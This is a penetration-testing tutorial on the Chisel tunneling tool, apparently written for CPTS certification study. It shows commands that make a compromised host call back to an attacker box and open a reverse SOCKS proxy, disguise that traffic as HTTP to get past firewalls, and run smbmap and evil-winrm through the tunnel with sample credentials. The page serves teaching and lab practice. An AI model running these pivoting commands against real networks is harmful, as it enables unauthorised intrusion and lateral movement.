Chisel

TCP/UDP tunneling tool that encapsulates traffic over HTTP/WebSockets. A single static binary for both server and client, perfect for pivoting through firewalls that only allow HTTP outbound.

CPTS Linux
LevelIntermediate. Needs the idea of a reverse tunnel, so do it after you are comfortable with basic shells.
Know firstWhat a SOCKS proxy is, and that "reverse" here means the compromised host connects out to you, not the other way round.
You will learn tostand up a reverse SOCKS tunnel through a compromised host, and route other tools through it with proxychains.

What is it?

Chisel creates encrypted TCP tunnels transported over HTTP. You run a server on one end and a client on the other. The tunnel looks like normal HTTP traffic to firewalls and network monitoring, it uses WebSocket upgrades over standard HTTP, making it very hard to block without deep packet inspection.

Two primary modes:

  • Forward mode: Client connects to server, forwarding local ports to remote destinations through the server
  • Reverse mode: Client connects to server, but the server opens listening ports that forward to the client's network. This is the one you use most, the compromised host (client) reaches out to you (server), bypassing inbound firewall rules

Chisel is a single Go binary, no dependencies, works on Linux and Windows. Same binary acts as both server and client depending on the flags you pass.

Chisel vs Ligolo-ng

Chisel works at the port level, you forward specific ports or create a SOCKS proxy. Ligolo-ng creates a full network tunnel using a TUN interface, making the remote network appear local. Chisel is simpler to set up and works when you only need a few ports; Ligolo is better when you need to run many tools against many internal hosts. Start with Chisel, move to Ligolo when complexity demands it.

Run this first

The server runs on your machine. The client runs on the compromised host and connects back to it.

bash: your first tunnel
# On your machine
$ ./chisel server -p 8081 --reverse

# On the compromised host
$ ./chisel client 10.10.14.5:8081 R:socks
  • --reverse must be on the server, or the client cannot open reverse tunnels and you get "remote: Remote connections disabled".
  • R:socks tells the client to open a reverse SOCKS proxy back through the server.

A SOCKS proxy is now listening on 127.0.0.1:1080 on your machine. Prefix any TCP tool with proxychains to route it through the tunnel, for example proxychains nmap -sT -Pn 172.16.1.10.

When do you use it?

You need Chisel whenever you've compromised a host that can see internal networks your attack box can't reach directly:

  • You popped a DMZ host and it has a second NIC on an internal 172.16.x.x network with more targets
  • You have RCE on a web server and need to reach an internal database server on port 3306 that's not exposed externally
  • You need to use your local tools (like Nmap, smbmap, evil-winrm) against internal hosts that are only reachable from the compromised machine
  • The target has strict outbound firewall rules: only HTTP/HTTPS allowed out. Chisel's HTTP-based transport slips through
Signs you need to pivot
  • ip addr or ifconfig shows multiple network interfaces (e.g., eth0 on 10.10.10.x and eth1 on 172.16.1.x)
  • /etc/hosts or ARP table (arp -a) references internal IPs you can't reach
  • Application config files reference internal database servers, LDAP servers, or APIs on private IPs
  • BloodHound shows Domain Controllers on a different subnet than your current host

Architecture

Understanding the server/client relationship is critical. Get this wrong and nothing connects.

ComponentForward modeReverse mode (most common)
Server runs onRemote/target networkYour attacker box
Client runs onYour attacker boxThe compromised host
Who initiates?Your box connects to targetTarget connects to you
Firewall bypass?Requires inbound access to targetYes: outbound HTTP from target
When to useYou can reach the target's portTarget can only make outbound connections
Most common confusion

In reverse mode, the server is on your attacker box and the client is on the compromised host. This feels backwards if you're thinking "I'm the client connecting to the target." In Chisel's model: the server listens, the client connects. In reverse mode, the compromised host initiates the connection to you: so it runs the client.

Setting up a reverse tunnel

This is the most common scenario. You want to reach internal services from your attacker box, and the compromised host can connect outbound to you.

Reverse SOCKS proxy (access everything)

bash: on your attacker box (server)
# Start Chisel server in reverse mode
$ ./chisel server -p 8081 --reverse
2024/01/15 14:00:00 server: Listening on http://0.0.0.0:8081  <-- server is up, waiting for the client
bash: on the compromised host (client)
# Connect back and create a SOCKS5 proxy on the server (your box)
$ ./chisel client 10.10.14.5:8081 R:socks
2024/01/15 14:00:05 client: Connecting to ws://10.10.14.5:8081
2024/01/15 14:00:05 client: Connected (Latency 23ms)  <-- tunnel is live, SOCKS proxy is now listening on your box

Now you have a SOCKS5 proxy on 127.0.0.1:1080 on your attacker box. Route tools through it with proxychains:

bash: using the tunnel from your attacker box
# Scan an internal host through the SOCKS proxy
$ proxychains nmap -sT -Pn 172.16.1.10 -p 445,389,88,5985

# Connect to an internal SMB share
$ proxychains smbmap -H 172.16.1.10 -u 'admin' -p 'Password1'

# evil-winrm to an internal host
$ proxychains evil-winrm -i 172.16.1.10 -u administrator -H aad3b435...

Reverse port forward (one specific port)

bash: forward one internal port to your box
# On your box: start the server
$ ./chisel server -p 8081 --reverse

# On the target: forward internal 172.16.1.10:3306 to your localhost:3306
$ ./chisel client 10.10.14.5:8081 R:3306:172.16.1.10:3306

# Now on your attacker box, connect to the internal MySQL:
$ mysql -h 127.0.0.1 -u admin -p
Multiple port forwards at once

You can stack forwards: ./chisel client 10.10.14.5:8081 R:3306:172.16.1.10:3306 R:5985:172.16.1.20:5985 R:socks: this creates a SOCKS proxy AND forwards two specific ports, all over one connection.

Setting up a forward tunnel

Used when you can directly reach a port on the target. Less common in real engagements but useful in labs:

bash: forward mode (you reach target)
# On the compromised host: run Chisel as a server
$ ./chisel server -p 9999

# On your attacker box: connect as client, forward a port
$ ./chisel client 10.10.10.50:9999 8888:172.16.1.10:80

# Now http://127.0.0.1:8888 on your box reaches internal 172.16.1.10:80
$ curl http://127.0.0.1:8888

SOCKS proxy mode

A SOCKS proxy is the most flexible, instead of forwarding specific ports, it creates a general-purpose proxy that any TCP tool can route through.

bash: SOCKS proxy setup
# Server on your box
$ ./chisel server -p 8081 --reverse

# Client creates SOCKS proxy, default is 127.0.0.1:1080
$ ./chisel client 10.10.14.5:8081 R:socks

# Use a custom port instead of 1080:
$ ./chisel client 10.10.14.5:8081 R:9050:socks

# Then configure proxychains to use 127.0.0.1:9050

Configure /etc/proxychains4.conf on your attacker box:

config: proxychains4.conf
# At the bottom of /etc/proxychains4.conf:
[ProxyList]
socks5 127.0.0.1 1080

Chisel vs Ligolo-ng

FeatureChiselLigolo-ng
Tunnel typeSOCKS proxy / port forwardFull TUN interface (Layer 3)
Setup complexitySimple: one binary, one commandModerate: needs TUN interface setup
Tool compatibilityNeeds proxychains for most toolsAll tools work natively (no proxy needed)
UDP supportLimitedFull UDP support
SpeedGoodBetter (no SOCKS overhead)
ICMP/pingNo (SOCKS doesn't support ICMP)Yes: ping works through the tunnel
Double pivotChain multiple Chisel instancesAdd agent on second host
Best forQuick single-port access, simple setupsFull internal network access, many tools
Decision: Chisel or Ligolo?

Need to reach one or two internal services? Use Chisel. Need to run Nmap, BloodHound collector, multiple Impacket tools across an internal subnet? Use Ligolo-ng. For CPTS, know both, different boxes need different approaches.

Common mistakes

Things that go wrong
  • Confusing server and client roles: In reverse mode, the SERVER runs on YOUR box, the CLIENT runs on the target. Repeat this until it's automatic
  • Forgetting --reverse: Without --reverse flag on the server, the client can't create reverse tunnels. You'll get "remote: Remote connections disabled"
  • Port already in use: If port 1080 is taken, SOCKS won't start. Use R:9050:socks for a different port. Check with ss -tlnp | grep 1080
  • Not using proxychains correctly: After setting up the SOCKS proxy, every tool that needs the tunnel must be prefixed with proxychains. Plain nmap 172.16.1.10 won't go through the tunnel
  • Using SYN scans through SOCKS: SOCKS only supports TCP connect. Use nmap -sT (TCP connect scan), not the default SYN scan. Add -Pn since ICMP doesn't work through SOCKS either
  • Firewall blocks the Chisel port: If the target can only reach HTTP (80/443), run your Chisel server on port 80: ./chisel server -p 80 --reverse
  • Wrong architecture binary: Linux and Windows need different binaries. 32-bit targets need the 386 build. Check uname -m or file /bin/ls

Check yourself

Answer each question out loud or on paper first, then open it. Retrieving the answer teaches you more than rereading the page.

In reverse mode, which side runs the server and which runs the client?
The server runs on your own machine. The client runs on the compromised host and connects back to the server.
You start the client and get "remote: Remote connections disabled". What is missing?
The server was started without --reverse. Add it to the server command.
The tunnel is up, but nmap 172.16.1.10 still fails to reach the internal host. What did you forget?
To prefix the command with proxychains. A plain command never uses the tunnel.
Why does nmap -sT matter here instead of the default scan?
SOCKS only supports full TCP connections, not raw SYN packets, so the default SYN scan does not work through it. Add -Pn too, since ICMP does not pass through SOCKS either.
The target can only reach ports 80 and 443 outbound. What do you change?
Run the Chisel server on port 80 so its traffic looks like normal HTTP and gets through the firewall.